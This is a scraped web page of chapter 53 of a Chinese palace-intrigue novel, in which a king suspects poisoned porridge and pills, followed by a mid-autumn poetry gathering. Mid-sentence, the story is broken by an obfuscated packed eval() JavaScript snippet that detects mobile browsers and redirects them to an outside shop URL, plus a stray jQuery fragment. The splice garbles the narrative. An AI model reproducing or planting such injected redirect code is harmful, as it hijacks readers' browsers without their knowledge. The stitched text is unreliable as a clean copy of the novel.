53. 一念愚即般若绝(十三)
作品:《那年濯雨杏花红》 翠英大惊失色,连忙匍匐于地,额头抵着地面,喃喃道:“奴婢说错了话惹恼了王上,奴婢罪该万死,求王上处死奴婢。”
“本王说笑的,你紧张什么?”殷咸集不耐烦地揉了揉眉心,另一只手抬了抬,示意翠英起来,兀自感叹道,“在这宫里头,每次本王说句玩笑话,你们都要死要活的,本王实在是厌了,也烦了。”
“你先下去吧,今夜不用留在这儿了。本王已经没有心情与你继续聊她的事儿了。去把吉祥唤进来。”
“奴婢遵旨。”翠英缩着肩站起来,弓着腰快步走出了长辛殿。迈过门槛子时,她抬头一看,原来吉祥早就醒了,正站在门边看着她呢。
她颔首示礼,唤了声:“公公。”
吉祥揣着手,用两条秋刀鱼似的眼睛扫了她一眼,视线从她的脑门上一刮而过,带着点老太监的阴翳狠毒。他细声问了句:“惹王上不高兴了?”
翠英只是一味地重复那句:“奴婢罪该万死。”
吉祥提点她:“知道自己的命贱,就该顺着王上的意,处处小心着点,别说错话,别做错事。若是不小心掉了脑袋,当了黄泉路上的死鬼,就没人能恕你的罪了。”
“偏不巧南边飞来块云把月亮给遮住了,夜黑风高的,宫道上又没点光亮,你走路的时候要多看着点路,小心脚底下。宫里的路不平,坑坑洼洼的,别把你自个儿给绊倒了。这灯你拿着,去吧。”吉祥把手里挑着的灯递给了翠英。
翠英谢过吉祥,接下灯,低着头一口气走出了坎舛宫。
明珠还在宫门外等她。
上了马车,明珠给她扔了件夹绒的小袄,问道:“那药王上吃了吗?”
翠英披着小袄,搓了搓冻得通红的手,稍稍喘了口气,回应道:“王上吃了。翠英亲眼看着他吃的。”
明珠对她讲:“吃了就好。你记住,药丸有十颗,你务必哄王上把这十颗药丸都吃进去,一颗也不能少。你把这事儿办好了,老爷定然不会亏待你,这样一来,你的后半生就有着落了。”
翠英问道:“姐姐,我想问问这药到底有没有......”
明珠寒声道:“别问,别想,也别猜。该让你知道的,我自然会告诉你,不该你知道的,你就别多想了。你知道的,老爷这个人一向容不得旁人在他的眼皮子底下偷奸耍滑,耍小聪明。你知道了不该知道的,老爷不会留着你的。我言尽于此,你自个儿悟吧。”
两匹马拉着车慢悠悠地往前走着,明珠刚说完这番话,马车突然颠簸了一下,翠英差点跪在地上,她连忙抓紧车窗旁的流苏,战战兢兢地问了句:“那小姐那边?”
“我刚才说的话你没听明白吗?”明珠睨她,“小姐那边就不劳你操心了。今夜你依旧去城外的客栈住,日后你都不用再回府了。”
“是。”翠英没敢再吭声。
她转过头,透过车窗狭小的缝隙,看向窗外。夜深人静,路边没亮几盏灯,偶尔有三两个人影一闪而过,大抵是夜里巡逻的士兵。
“踢踢踏踏”的马蹄声就在她耳边,震得她心慌。
出了长辛殿,离开坎舛宫,她就再也没有机会说话了。
普天之下,唯独愿意听她说话的人,只有那位高高在上的君王。
并非高高在上,翠英知道,他也只是一个平凡又脆弱的普通人。
***
长辛殿中依然亮着灯,殷咸集坐在龙塌上,盯着金丝檀木案上的苦杏仁粥发呆。他漫不经心地问吉祥:“吉祥,你说这粥里会有毒吗?”
“回王上的话,”吉祥回应道,“太医验过了,粥里没毒,您要是还想喝,吉祥这就叫人给您温一温。”
“没毒么?”殷咸集不走心地说了句。
“没毒。”吉祥耐心地应着:“您要是看这碗粥心烦,就赐给吉祥,吉祥替您喝了,或者倒了也成。”
“那你说,本王刚才吃的那颗药丸里会有毒吗?”殷咸集又问了一句。
“这......”
吉祥不知该如何回答了。
两次了。那药丸太医院的人还没验呢,殷咸集就吃了。
“董明锐费尽心机、转弯抹角地瞒着姜熹和让她身边的婢女来给本王送粥送药,若这粥里药里一点毒都没有,那他就不是董明锐了。”殷咸集盯着吉祥,用玉如意勾着吉祥的下巴,突然问了句,“你会费尽心机、不择手段地做一件善事么?”
吉祥没有回答,但殷咸集知道他不会。
只有做搬不上台面的坏事时,人才会藏着掖着,生怕叫别人知道。
当然,也不排除有人会偷偷摸摸地做善事,但董明锐绝对不可能是那种人。
董明锐是一个疯狂地利己主义者,对权力到了近乎痴迷的程度,要他做善事,可以,条件就是他做的善事归根到底还是有利于他的。
不利于他的事情,他是一件也不会做的。
董明锐让翠英给殷咸集送粥送药,就说明这件事有利于他。于董明锐而言是好事,那么对殷咸集而言就必定是坏事了。
殷咸集用汤勺舀出一颗苦杏仁,送到嘴里嚼了嚼。
苦味在他的嘴里蔓延开来,他下意识地重复着两个字。
“送粥。”
“送粥。”
吉祥的眼中闪过一丝几乎崩溃的恐惧,他张了张嘴,在心里默默地念出了两个字:“送终”。
吉祥能想到,殷咸集又怎么会想不到?
他把嚼碎了的苦杏仁吐了出来,苦笑两声,心道:“看来董明锐已经在我和谢百宴之间,选择了后者。”
他彻底沦为了一颗被抛弃的棋子,在权力真空的郢荣,做了一个彻头彻尾的傀儡君王。
殷咸集穿上绣着金龙的黑靴,拿着一个玉如意,走了两步,对身后的吉祥道:“吉祥,陪本王出去走走吧。不知为何,这几日本王格外喜欢盯着月亮发呆,许是中秋节快到了,本王有些想家了。”
他的家在千里之外的上京城。
前几日他知道了一件事——原来上京城也是谢百宴的家。
他们都是有家不能回的人。
想到这里,殷咸集便原谅他了。
殷咸集知道,谢百宴没有错,错的人是他自己。
**
这年中秋节董明锐在王都中举办了一场盛大的中秋诗会,邀请了众多世家子弟到苍凉山下流芳河畔的古竹园林种饮酒作诗,曲水流觞。
青石畔,竹林旁,几位宽袍薄带的世家公子正在倚着竹席,品着美酒,吃着鲜果子,玩着飞花令。
不一会,几位世家小姐也加入其中,赋诗奏乐,玩酒令。
这次飞花令的主题是一个“月”字。
一位青衫公子开了个头,言道:“月出皎兮,佼人僚兮。”
话音刚落,他身旁一位身着红底玄衣的公子笑着赞道:“用这句开头再好不过了。这位公子,不知可否邀你对饮一杯啊。”
玄衣公子长得“眉飞色舞”,那双极其轻佻的狐狸眼看人的时候就像是在勾魂,他身旁那位青衫公子怎么可能抵挡得住,只一眼便沦陷在那柔情似水的眼神中,遮面的扇子又往上挪了几分。
野狐狸最会撩人了,一颦一笑都是奔着那位青衫公子的心去的。
那位青衫公子似是有些腼腆,用一把玉骨扇微微掩面,端起酒樽,用眼神回应他。
见状,一旁等着接羽觞苏长听催促道:“二位公子眉来眼去的,做什么呢?不过是对饮一杯而已,有什么可害
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16852048|186871||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
羞的。莫非,二位公子的关系不一般啊。我看啊,今日咱们这酒席之中,怕是有断袖啊。”
“苏公子慧眼识珠,一猜就准呢。”那只野狐狸回头望了苏长听一眼,两指捏起酒樽,潇洒地将杯中美酒一饮而尽,而后笑道:“苏公子不妨猜猜,谁才是断袖啊。”
还用问?苏长听一眼就看出来了。
他抬指一指,颇为自信道:“你,还有你身边那位绿衣公子呗。”
“错了,错了。”狐狸公子佯装失落,微微叹气道:“我对身旁这位公子有情,可他对我无意呢。到头来啊,还不是一番真心被错付了呢。诸位评评理,我的一番真心到底该不该被错付啊?”
说完,他别过头,用手挡住脸,冲那位青衫公子挑眉一笑。
青衫公子无奈地回他一笑,放下扇子,自罚了一杯。
这下,席间看客便全都懂了。狐狸公子都说到那份上了,若青衫公子无意,怎会不反驳。
说到底,这不就是这对公子之间的腻腻歪歪的小把戏吗!
自那之后,二人便一直眉来眼去,笑着对饮,话不多,浓情蜜意却是藏不住的。
苏长听看不下去了,道了句:“羽觞传到哪儿了,本公子还等着喝酒呢。继续啊!”
狐狸公子起身,摇着羽扇,接了句:“明月何皎皎,照我罗床帏。”
紧接着,又有人道了句:“薄帷见明月,清风吹我襟。”
再道:“仰头看明月,寄情千里光。”
羽觞顺着水流一路向下,漂到姜熹和面前时,被苏长听伸手拦住了。他打了个响指,笑道:“这还有个走神的呢。想什么呢?不接飞花,可没资格吃酒啊。”
姜熹和忧心于南部战事,担心祝玉璟,没心情饮酒作乐。
但她很早之前就答应李长晴要来参加诗会了,不能毁约,便只能赴约。她心不在焉地坐在这里,心里想着前几日从南边送来的战报。
她回过神,看着玉盘中被她扒了皮的三五个果子,道了句:“三五月明满,四五蟾兔缺。”
这句倒是把她的心事给说出来了。
“好!”苏长听迫不及待地拿起酒樽,又道,“本公子来接下一句。就接一句‘明月照积雪,朔风劲且哀’罢!”
“长听在此敬诸位一杯了。”言罢,畅饮一番,又道,“好酒,入口甘甜,也不苦涩。诸位玩得尽兴!”
坐下后,苏长听没骨头似的倚在竹席上,对姜熹和道:“你知道么?今日王上也要来。我听家妹说,王上这几日一直在宠幸你身边的一位婢女,就是那日在食肆你带走的那位。你可真是好本事啊,一位平平无奇的舞妓到你身边待上几日,就能成了王上的心啾啾了。”
姜熹和赏了极品孔雀一个白眼,问道:“你到底想说什么?”
“没想说什么啊,你可别误会我的意思。反正咱俩坐在一块,总得聊聊天吧。你不喜欢聊这个话题没关系啊,咱们聊点别的。”苏长听换了个姿势,托着腮看着姜熹和,手指漫不经心地缠着自己的头发,“‘三五月明满,四五蟾兔缺’。念这句诗的时候,你在想谁?”
姜熹和刚一瞪眼,他立马就懂了:“我知道了。你又在想我家宗祠里供着的那些祖宗了,是吧?别想了,他们早就投胎去了。你有这功夫,还不如多想想你那人美心善的好夫君谢百宴呢。”
无理取闹,阴阳怪气,苏长听总是这个样子。姜熹和问他:“你能不能好好说话?”
“不能,我这人就这样,看不惯你就忍着。”极品孔雀又翘起尾巴了。
姜熹和懒得跟他掰扯,全当没听见。
装没听见也不行。苏长听凑过去,捂着嘴小声地说了句:“王上现在就在苍凉山上,你真的不去见他吗?”

